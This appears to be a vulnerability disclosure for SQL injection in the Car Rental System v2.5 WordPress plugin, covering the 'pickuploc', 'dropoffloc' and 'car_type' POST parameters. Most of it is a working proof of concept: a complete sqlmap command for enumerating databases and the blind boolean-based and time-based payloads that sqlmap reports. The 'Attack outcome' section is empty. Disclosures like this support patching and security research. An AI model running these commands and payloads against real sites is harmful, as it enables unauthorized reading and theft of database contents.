1. Description  
  
An unescaped parameter was found in Car Rental System v2.5 (WP plugin). An attacker can exploit this vulnerability to read from the database.  
The POST parameters 'pickuploc', 'dropoffloc', and 'car_type' are vulnerable.  
  
2. Proof of concept  
  
sqlmap -u "http://server/wp-car/" adata="pickuploc=2&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=" --dbs --threads=5 --random-agent  
  
Parameter: pickuploc (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: pickuploc=2 AND 3834=3834&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=  
  
Type: AND/OR time-based blind  
Title: MySQL >= 5.0.12 AND time-based blind  
Payload: pickuploc=2 AND SLEEP(5)&dropoffloc=1&car_type=&pickup=03/08/2017&pickUpTime=09:00:00&dropoff=03/18/2017&dropoffTime=09:00:00&btn_room_search=  
  
The same is applicable for 'dropoffloc' and 'car_type' parameters  
  
  
3. Attack outcome:
